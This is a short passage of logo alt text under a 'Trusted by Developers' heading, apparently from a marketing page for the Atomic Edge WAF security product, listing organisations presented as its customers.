Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.